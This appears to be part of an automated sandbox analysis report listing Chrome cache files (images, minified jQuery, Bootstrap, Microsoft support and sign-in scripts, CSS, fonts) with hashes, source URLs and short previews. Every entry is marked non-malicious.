Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	20946
Entropy (8bit):	7.93232536946356
Encrypted:	false
SSDEEP:	384:ecpgK1ekapmcRcYDw6SaYAwQTniYPMalqQm6vkoP9njpqNT:eKjUkapAsw6C9ePM2qQm6vkoFnwT
MD5:	68B6034D22E6083CF2592BF4B8B71F0E
SHA1:	0981B22AF5F2BF930794557717FF7C7F4FF563FF
SHA-256:	56E5D47C342207184BE9DE6E3CF06CF26C32B34EE799B3ACC95EBEEEEFA5484A
SHA-512:	3CDA6510769E8EE427103B1D76A0035E2A3E62C4EF0E789DBC28969B12F2DF2C1F7E7652FDF9CC99C7C086CF2764A19520D15A5FED86ECC5CAB9D9F77D534E93
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/9e557d93-f803-44df-a274-1282d542cf63.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...QgIDATx....nEy....j.%bU.X..n^......Im..M."Z...+hU...m.e.....A.FQ.m......D....ELTD...Uo}...>.\|3....v....y..gf.:.?.yf..n.m..a........+.~..J u..}.k.........:;v.P......qM.c;.1.S..j..@v....O...c.@.....5Z.P.E{...P.(.......PvvQ..... .IGj...U.:}.#..Xghj.C.MQ...Kua...)G,4]..?.........#.......w.Ti'.Vy....S....%._).'...J...%.u\.R.Oo.R,p......"Y....N:V.P.R.W......O..Pk...n......Z.....).....HVc.Z.M....H....X......5....$....p......".>...<U...Sc.\|.K...Q.NR...k...k...F...).....H...=.....+.zj(....]/5.\.........).....H...\.@.;.\|.......I.&5.'.(6.cTz^.....c.r...r....k.)s.b..<.#......I.1R....k..6........R.d....r.]...NT].H.....D.#%.N..X.......7.t,..z.;cS.p].f....E-...6.#......IuG...p..c[.g.`..v..R1V...J.9.J... ..HqIw.NS..........3.G..pI.+p.....#.N.......Gp....).....Hf.H..1.#.4..2r.f....t..;.Z.7W........".=1d...^.....M ..I..T...../.t.T................_JLz)......{..hFJ...E..t9.).WaXj&

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2674)
Category:	downloaded
Size (bytes):	2728
Entropy (8bit):	5.253272384445131
Encrypted:	false
SSDEEP:	48:M1wQmQqQNrfAI4dz2eLNBxROk2oDZ8nVlnQiOk50NQclnmlnmZ5flnqlnuln5jBN:emQjNj4t2eLNgsdiQj+RacmVYU57vzKO
MD5:	468D4ACC570CFFC7101AC8A63514AD31
SHA1:	6983E89B6EC798B5B8C2B3B76D9311808437B572
SHA-256:	B4B342F2025799CA602A75590B324E7493B0903726720BCE4CA793207C83255C
SHA-512:	9042A219E8511FF281B9F680B3577CE3EAE29E881F24BE1D2B46C89D1F0013E30AA890C1A0181FF83975E125F62C0C6E896D3B8515067221143D9A3290B42865
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/MeControlCallout.Main.min.js?v=tLNC8gJXmcpgKnVZCzJOdJOwkDcmcgvOTKeTIHyDJVw
Preview:	!function(){"use strict";var t,e,n=function(t){try{return sessionStorage.getItem(t)}catch(t){}return null};!function(t){t.EXPANDED="meControlAccountSelectorExpanded",t.COLLAPSED="meControlAccountSelectorCollapsed",t.SWITCHTYPE="meControlSwitchAccountType",t.SWITCHMSA="meControlSwitchMSAAccount",t.SWITCHAAD="meControlSwitchAADAccount"}(t\|\|(t={})),function(t){t.REMOVE="teachingCalloutRemove",t.SHOWN="teachingCalloutShown",t.TIMEOUT="teachingCalloutTimeout"}(e\|\|(e={}));var o,i,a=$("#meControl"),l=$("#smcTeachingCalloutPopover"),c=$("#teachingCalloutDismiss"),r="teachingCalloutShown";function d(t,e){var n,o={isAuto:!1,content:{contentId:e},behavior:t};null===(n=window.analytics)\|\|void 0===n\|\|n.captureContentUpdate(o)}$((function(){l&&l.length>0&&(function(t,e){if(t.length&&e.length){var n=t.offset().top;i=window.setInterval((function(){var o=e.offset().top;t.offset({top:n+o})}),15)}}(l,a),window.document.addEventListener("displayTeachingCallout",(function(t){try{if(null===n(r)&&null!=t.det

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (503)
Category:	downloaded
Size (bytes):	558
Entropy (8bit):	4.98634955391743
Encrypted:	false
SSDEEP:	12:c83DOkFYerjD6tD7fgu1M+WqQRxsZAsDFYAWCyQPO:cmZr6t/zpeT/oWCyaO
MD5:	A3BC5418F2834309CE2918B15F3B8EEA
SHA1:	62BA2712C6D4960F1057E103F6E1F3C95F2C701B
SHA-256:	B2B62643A7C4FE4A4E12934AD819F0293CC00181B78D8091AFFFF3617CEB96B1
SHA-512:	460E22E36E93BEC194D00D47754108539D2E54FF59D4293EEC25463BC3D642879C10D9BBFD881BBE5EC244819F325C422B6D7A7504000BBCE432E4D2A08FB58B
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/shimmerExperiment.Main.min.js?v=srYmQ6fE_kpOEpNK2BnwKTzAAYG3jYCRr__zYXzrlrE
Preview:	!function(){"use strict";function e(e){return document.querySelectorAll(e)}function t(e,t){e.remove(),t.style.removeProperty("display")}window.addEventListener("load",(function(){var o,r=e(".ocpSectionLayout .ocpSection"),n=e(".ocpSectionLayout .shimmer-effect");if(r.length===n.length)for(var i=0;i<n.length;i++){var c=(o=n[i],Number(o.getAttribute("shimmer-delay")));setTimeout(t,c,n[i],r[i])}else n.forEach((function(e){e.remove()})),r.forEach((function(e){e.style.removeProperty("display")}))}))}();.//# sourceMappingURL=shimmerExperiment.Main.min.js.map

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25084
Entropy (8bit):	7.954629745011792
Encrypted:	false
SSDEEP:	384:z4b+mWMn+0y7Pg/1ZG7QBkT1ptdZXWVTTaGOKPKb3BZE3SDL0Fkx1qEPNugrtRPI:E+5Mn34PglkT9XICcPKb3Bh0e5tQT
MD5:	9AA997545CAD62F24960E39B773AE81C
SHA1:	3EBF01E3B3630F127309F816F13FF86B94798E07
SHA-256:	BC5E9528086858FD7BFF758A1B0AE0D559A9930E279ECDF4955572B6AD1E53EA
SHA-512:	4B2572DEA6B5C777AF39359095D97EB8078B3B252D4A70191837BF5C641B860CD4AF56719B3D96E45CBEBB13465625FD5DD6E66BC03F009487FEBEAF5D9F7169
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...a.IDATx..y..Eu...u}.@1.....D...IX..0,A..Fc.`.,.D..H .eUX.....E..X.H...1q......(....l...r.!.....rz.....yf......9.{6z.......h....__......r.S.C..F...T.o...<.9.M..$].6.:...9..vSrN.B.2.Ug....x..rU6i>zY..C.lK.._.v.H.......9.S..U.]T.v..Y8..LJ...tl.C....m(...&.(QpAP.x\".._.G..$.L..)T[.."j$...}...@>z.n-..X.U..45&.S.....N.m\...m"I"...\.q.\|M.6#.............Q....."...e..m.6..f.....Sj...cK+DH...+]..".......i..Q.......xS.24@....C".$b.]'Y...<J.$.jY7J........i..0..1..........y./)Db.@_@.m.X\|..u..f..w..C@.\{.mc..u&....5k..`.j.ZO7.L...7.....R..zxp...B...Y....&!#..v...m[.\\|!}....B%-..K!U..cjj..Z...^...(.J....LHYK.'.@r.....d[..Q>..[VJ..b...H5H-....h.9..K.;.1..#.)fy.........r..B.X.L.)..PV$=..:.6!.B..Z.\|...).....%@..IK.G....'ci....(.-.......R.....5W..]..4.......2[..m...9..g...w.....p.4t..... ..(.je...r..R....{E.y.Xhr..U.>.H....5}.,Q.4S.$..I...R..` ....=R.#.-Y.}l......U.W...

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/lib/jquery/dist/jquery.min.js?v=9_aliU8dGd2tb6OSsuzixeV4y_faTqgFtohetphbbj0
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 141866
Category:	downloaded
Size (bytes):	49804
Entropy (8bit):	7.994672288751266
Encrypted:	true
SSDEEP:	1536:SMuttwJ0uUmAcZjNL6nnQlL+mwKLiQC7Mn3dxPErr:SwJ0vmAcKnnQF+8LJOMn3DPE/
MD5:	6DE768A4DF1E0D0061CDB52EF06346C4
SHA1:	3829A667B97668008023DDA98F4C0772174C8EF6
SHA-256:	58732EEE2ED9091F4F5776DC8A8A14116CBE5A2BA1CCDA0256896BAB08A52128
SHA-512:	CC6966D2C2B43E762750102E734DA6B88D7BFB92DDB5D482EE25029337D95E997466E83001586F2B63DAEE890B5F3188E8EC0F1B084D5EB67CFEA55EDDFAD47D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js
Preview:	...........m[.8.0........OL....;w..nf.0.ff.X.'V......4.r~........=........,..JU.......T~.l..?..E.....X..\|t~P9...TN..G..?^.~.............Xx.0..Q..Fa4.#7.q...F.;......4...Q.W&~.@....O.T.y.37J.+Ggf...P....Pz.N...>..a.D..<.m./A,...Q.....WN.Q...8.Db$.G.H<...'....J,..8..{nG.2@HYkL../......=.pL....A?.&Ng.i,......2lo...$.<.3...?~pW..=...L..&x.QR.u3..#6q2....U.Y1..".M. .<W."7@......w..."H,@......0..P....p:...[...E].A..%..V.K\.......F.ir.}.Lc{s..O.g..(\|.........9o..A.t.K....Wv.l6..T.......t.........+..........-w {l..g...V..\=W.j.oaT}t.J`E..$W......;.k.\.t.w~}".....jf..W..."..a..0y........@.T.1.G0........Y_....../..........@.....]+....q\.cR.....t.3S-5g....'U.j.d......y.n,:).\|.?.FW...d...\|.......*.`.3....kMKf...#..,DM.TY+..g.........e+.>...{y..N/..g-#FV.V.p.......Xs.(..{..}..-.O..H=."...........8M.g..!H..0.~.Tdf.;...$D%N .)..!..V...'r\.... ...&....J\|."Nd%D:uw:.<W.+...H&.Z...L=..U.v....J.t.0%+...U..3M....y...L..G...p='.....pB"-..\|.....j .a".i=O.R Q2..."...

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65513), with no line terminators
Category:	downloaded
Size (bytes):	98822
Entropy (8bit):	5.2342056134005785
Encrypted:	false
SSDEEP:	768:2qnFfbkxlWF8DdYRZMcPEk5BFIsbyy9ojybRpWJIYpQ58WLJY8wE2usUrGBux+de:k3WTZ0oQZ2LvEV5jNVxy95v
MD5:	A48B8751668B1A8DF0FEDD153BCFCFD0
SHA1:	4287AA16CDDB523184C3EC1717DFCA50B82411C1
SHA-256:	209FD1BB4FA4561AB0233B3BC843F166AE761C77AADF751667C424A52C15ECE4
SHA-512:	CDFFA2F88C78BF7E574BC6FE3ADB6CDA84AC6924DA6B12ABE501F7BCC68D30FD0AE26A477657C0A666535FA82B203CEF314E79DBEF007B030682219A2AAA0244
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/Article/article.css?v=IJ_Ru0-kVhqwIzs7yEPxZq52HHeq33UWZ8QkpSwV7OQ
Preview:	.html[dir=rtl] .supHomeAndLandingPageSearchButton{right:auto;left:0}html[dir=rtl] .supHomeAndLandingPageSearchBox{padding:0 18px 0 50px}.supHomeAndLandingPageSearchBoxForm{margin:auto;position:relative;max-width:748px}.supHomeAndLandingPageSearchBoxForm .supSuggestionList{margin:0;padding:0;list-style:none}.supHomeAndLandingPageSearchBoxForm .supAutoSuggestContainer{width:100%}.supHomeAndLandingPageSearchBoxForm .supSuggestionItem{text-indent:0;padding-left:18px}.supHomeAndLandingPageSearchBoxContainer{position:relative}.supHomeAndLandingPageSearchBox{width:100%;height:51px;font-size:1rem;padding:0 50px 0 18px;border:1px solid #a9a9a9;outline:0;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif}.supHomeAndLandingPageSearchBox::-webkit-input-placeholder,.supHomeAndLandingPageSearchBox:-ms-input-placeholder,.supHomeAndLandingPageSearchBox::-moz-placeholder,.supHomeAndLandingPageSearchBox::-moz-placeholder{color:#505050

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.873235826376328
Encrypted:	false
SSDEEP:	3:YA8rQaC:YAoQaC
MD5:	5FC018D9E6C56911BBC8DC5DDCD0C768
SHA1:	70979F57A85D527ED8ABCBF02CFF44640C58BDE6
SHA-256:	2E6D78A4AE644F3B60AFD3C33E66539FF6C5F6A8ED6ABC40A3AF06AC020EC020
SHA-512:	1E3B86274B3590E28366F2D2DE86A1844058E213BD225AAA05D992CA70523F65D2BD543F9F762A805A2C4D5961AA34F5A19EBE70E135939C9CD3C63F6B5F5524
Malicious:	false
Reputation:	low
Preview:	{"error":"Method Not Allowed"}.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 45108, version 1.0
Category:	downloaded
Size (bytes):	45108
Entropy (8bit):	7.995144522907789
Encrypted:	true
SSDEEP:	768:oSr7lEAZAmsZH2DgPpNMhqWnRM70yIVAcr3ilnPEX8SV8+H:9HBZs08PrGnU0j13sP68SjH
MD5:	452A5B42CB4819F09D35BCF6CBDB24C1
SHA1:	4344BF7FDB2B5E538FB4859DF945FC1A21D2A83C
SHA-256:	063A952901506E6CBCC2ABDD1995EA387E4AE9138993F5517834A75FAEE165D0
SHA-512:	7193527DC813CCE209C39776BB20B4AA7E7E3112298C8E9A13E040AFF41FFF47647F662311E370605B7C9D62F01D7484C3B9313613A7DF7BB3022F77F80E1805
Malicious:	false
Reputation:	low
URL:	https://maxcdn.icons8.com/fonts/line-awesome/1.1/fonts/line-awesome.woff2?v=1.1.
Preview:	wOF2.......4.......X............................?FFTM..`..J.......<..y..&..6.$.... ..]..7[.]q...n....{YF......L..6,zp.@P........"c6.....\.%..6Q..Id....,Y!#.=.q<....\..G...]........% "...DV..a..e3..6..D\|.BR.p.......k..~...}.kt.T.j....c..jBL7.~......OY..csj$+'O....Yck.l.....6!X. .[. ............:..U...{=..T9....S....m.}..9>....<....+>....xT....d..K...J:.-.[..j[k.l.v.....j[k....q..~hp..N.#U........P....,...=...@....Y.Q..b.%M.L.4...T....{...4@....Atd.,...H..w..lm....kw..@L@`..Y.R.)kvH...~M...hI.hA.......w...E.&...].@##...;c`.K..O.m.IY..6....l......._.+\..`.A...X.u.`.Y.r......rE....W.H^..xm.Ru.D...y..L...d..9Yg..u..:^...H.t8..\..&\..q....to...dh.v.EH.."H.{?....t...e%q.$9q.i....i"...e.-/...........M......@_....q.I3.2Z.....v{G".F..Nfh.<.vP..E>:..y!..w.......l.^.....M...[..?6....^..K.}...........M.].v..I...K#.......C.....3..F.<.....Z...h...\.9.9.9.:..p...w....7.lt.A.....9....h.....4@..ff9...Z.5.N;.`.Y.1.55+Qk..zg......M... .&./....6...wAr.c..KX.h..8P..

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65297)
Category:	downloaded
Size (bytes):	81084
Entropy (8bit):	5.179856316975421
Encrypted:	false
SSDEEP:	768:WVDnVrD5m8HVHZIEzSV7BTxx4mu0spQ1+jmzpvACS+eAuQnQ3O1+dCDWi6OzlTd3:WVbVXIVCHKzpyAWMkG1sn8B0upp
MD5:	7FD2F04E75BD7AB1A79D80CDD4C33085
SHA1:	E02A14457B25E6DF2568B772FEAB4387C00A4934
SHA-256:	5EDF297381B409D711BC8D27676951A59E151E783412850332519C05243D1E24
SHA-512:	3B2E41AEE25D13780FF7E2CC275D640B99C4AE4877A7863419AC13D49ADC7B3E114C3C4E0DFDCCFCA3F7A44B2078E63159E8EACB648F9E3F9032982DBE10DC89
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js
Preview:	/!. Bootstrap v4.5.0 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t=t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function r(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(t);e&&(i=i.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).e

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	downloaded
Size (bytes):	149977
Entropy (8bit):	5.425465014322962
Encrypted:	false
SSDEEP:	3072:ds2R7b4i2VvQ8jDNbSDU6ez/4/fOmToUJdupe:dvJ26Dkw/LT9JduY
MD5:	107489D1ED6BE77BFD69EBE4D7B52B6D
SHA1:	FD56DF206A1DD0223D6D18ADAC841582282A346E
SHA-256:	3BBC0000E28054DDBE38B2E7A21DCA8D66FDA56EA48448BCE4658BC6B518A970
SHA-512:	51C5F6D9D7D10D06777ADE20C7E63CBFA354B830B68D32FEDE4B93C15D80873C501C0CCC4D006FD58C639662D2DCBBA193B61427D30F8938EDA4B9049743BC65
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/lib/oneds/dist/ms.analytics-web-4.0.2.min.js?v=O7wAAOKAVN2-OLLnoh3KjWb9pW6khEi85GWLxrUYqXA
Preview:	/!. 1DS JS SDK Analytics Web, 4.0.2. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_0_2={},s="4.0.2",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var o="object",ye="undefined",c="prototype",u=Object,s=u[c],$=undefined,y=null,l="",f="boolean",d="function",g="number",v="object",m="prototype",T="__proto__",b="string",I="undefined",C="constructor",N="Symbol",S="_polyfill",w="indexOf",P="length",A="done",_="value",D="name",O="sl

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	dropped
Size (bytes):	149977
Entropy (8bit):	5.425465014322962
Encrypted:	false
SSDEEP:	3072:ds2R7b4i2VvQ8jDNbSDU6ez/4/fOmToUJdupe:dvJ26Dkw/LT9JduY
MD5:	107489D1ED6BE77BFD69EBE4D7B52B6D
SHA1:	FD56DF206A1DD0223D6D18ADAC841582282A346E
SHA-256:	3BBC0000E28054DDBE38B2E7A21DCA8D66FDA56EA48448BCE4658BC6B518A970
SHA-512:	51C5F6D9D7D10D06777ADE20C7E63CBFA354B830B68D32FEDE4B93C15D80873C501C0CCC4D006FD58C639662D2DCBBA193B61427D30F8938EDA4B9049743BC65
Malicious:	false
Reputation:	low
Preview:	/!. 1DS JS SDK Analytics Web, 4.0.2. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_0_2={},s="4.0.2",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var o="object",ye="undefined",c="prototype",u=Object,s=u[c],$=undefined,y=null,l="",f="boolean",d="function",g="number",v="object",m="prototype",T="__proto__",b="string",I="undefined",C="constructor",N="Symbol",S="_polyfill",w="indexOf",P="length",A="done",_="value",D="name",O="sl

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (45900)
Category:	downloaded
Size (bytes):	45963
Entropy (8bit):	5.396725281317118
Encrypted:	false
SSDEEP:	768:H/eCtKv79zpXXfoJLjtK8Dx1DieS3i8eqUvdX:W/vXQJJDD27W
MD5:	F00CFBA8F9859DFEFDFE90EA520C6FCF
SHA1:	B32E153588A287DE81050E327EB5BD7A90B04D99
SHA-256:	977CC9882BA50763333DF64E98D26BC3C60A15D6EFA4A2C1FE70579985EDDF84
SHA-512:	DA51FAB6D6A6B05A1730FB97656A496870FE1248616BC3F9DDBE101D1C189B6BEC7CAF63976418F88843AFA64763D25542787116FFE0E43E35BF3DCE61914DAB
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/SilentSignInManager.Main.min.js?v=l3zJiCulB2MzPfZOmNJrw8YKFdbvpKLB_nBXmYXt34Q
Preview:	!function(){var t={8488:function(t,e,n){var r=n(2746);t.exports=r},3104:function(t,e,n){var r=n(7273);t.exports=r},6564:function(t,e,n){var r=n(2445),o=n(3478),i=n(7269),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},5719:function(t,e,n){var r=n(2445),o=n(3478),i=r.String,a=r.TypeError;t.exports=function(t){if("object"==typeof t\|\|o(t))return t;throw a("Can't set "+i(t)+" as a prototype")}},1313:function(t,e,n){var r=n(4486),o=n(6635),i=n(9783),a=r("unscopables"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},3855:function(t,e,n){var r=n(2445),o=n(7455),i=r.TypeError;t.exports=function(t,e){if(o(e,t))return t;throw i("Incorrect invocation")}},4482:function(t,e,n){var r=n(2445),o=n(3406),i=r.String,a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not an object")}},3410:function(t,e,n){"use strict";var r=n(2445),o=n(6981),i=n(5633),a=n(2048),u=n(7065),s=n(1977),c=n(9

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17028
Entropy (8bit):	7.926562320564401
Encrypted:	false
SSDEEP:	384:7wixC+iG9rj5+kgbLPcAmxOkpJIhI9CvaMo05vCf9MRRLMk5K/jk:sifiG2tvXmxHbIhlo05KlGRaY
MD5:	DDCB4FCA39CCADCDF6C1FE2E1F717867
SHA1:	88238D53920F32AF37A802A5E6BFEEC3B1E6F75D
SHA-256:	097DF2DFA3781F1AEDB631C968D04D8152D7C7FA8E92BC91E233B3000E2F34BB
SHA-512:	316574E565EF67B97E13D0BF01CF4AFA8E0E9CF0748768CE4AE6BBB81352685A6E027EADBC083D2B632C412C950E65963E6EA98FE4CE7692C0AE0B6D956D3D37
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/a9241eee-a729-4513-97b4-5b87c381c21b.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...B.IDATx..Y.mWU.W.7.A.e.Z..H.R.F.......$!....iH..4...T@..{i.A.....M..... .XP6eaB..R% ...Bs.o.0N..w...Zkvk..j.>g.}.^...c.1O...?..K.I'..J..<.c..fX!..N.m5...!.O-.=....p/....B.m_..o..........7.{..............]..~...C.....J..g..bI.C.....@&.7.}...u.RYs.J_.P_..j.....J...%..}.{..)}o,....\|...2iil+1.n:.W.b.I@. ......q/........},...K.....b.35f.....@t.C.H..f.....X8...qXA5W\mG..78..E.Wjm..j.C.E.....L.!e...}..... .FKi......!........t.;.s:8.P....9...H@....I! ...lp....`...".#.... .d"......=eN.nNcMUu......=.l......a.@...KY...^.....D..........=..<%&..}...P.HK.CE...0...R1..r..#h.5...)....z.B.....7.DH....KE...ha)....Z.=........)bZH.X.._...)........HK.a.Pn.X1Eh.....o.B......k...2....`..v.O.=...]..Y.!..:R.:......G@jg.q.[b.....)].O.....jm...q.c..*...=B...\|.........%....x.Bc..[.....r.....4......R.}......R...6.I..W..!...8K...:..U.. .3ZH...t.e..f\.(...y>k+.AH"..K.GjI!....J.}...HK..&..%.

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 901881
Category:	downloaded
Size (bytes):	231091
Entropy (8bit):	7.998390937544825
Encrypted:	true
SSDEEP:	6144:Z4w6J4OiKySVPhKwGX9rZUKsSqNNZPRNSBX:awkViKySV5KXX9mBS0NZZYX
MD5:	05A20B73D23C52A09386F3222045E62D
SHA1:	0991D7FD9A84F82DD39FBE065C0070D3196F497C
SHA-256:	BAB90DCF5FE87AB6DDEED7339CC36967BA7188CE3E01CCF7C65D9369056C41A4
SHA-512:	F93017FD9AC4A684D5BBC5BD44992D9687DDA5011050B9F7AA1718EA99F91E5BB7031854461E48316D10D095347E5953F376949EFCC57348980D792AD745BFCE
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/5/js/signup-fabric_en_hjnWUmfm-pOUxYXWMUv1Yw2.js
Preview:	...........iw.8.(.....n....dg...M....l.'.N.}}h...H...8.....+E9.g.g.{&...A.K..T.j..........r#.Fy1K.4.6.S.@V)..:...QrV..S...,./....::hW_......6G.l.....yRlHQ.L.".i\|..nw.ndJ....+..j.."..](..<..L..p?...zw9.e.....\{..C9J...M...9-....U2..cY=...."=....a...."/.3.../iF.9d..T.%.:S.Ne6.&.h.W...t....../f2.J~H.K.,..n......z6O....n..4.Z..ll...^..Z..F.N.r.CV?.....=.......r...rt........:...:..8!$(..g..A.Z.Lb%....B.....t>VZ.y....Y>-...SY..t^..:%..Yz=.c.o..'...</.26 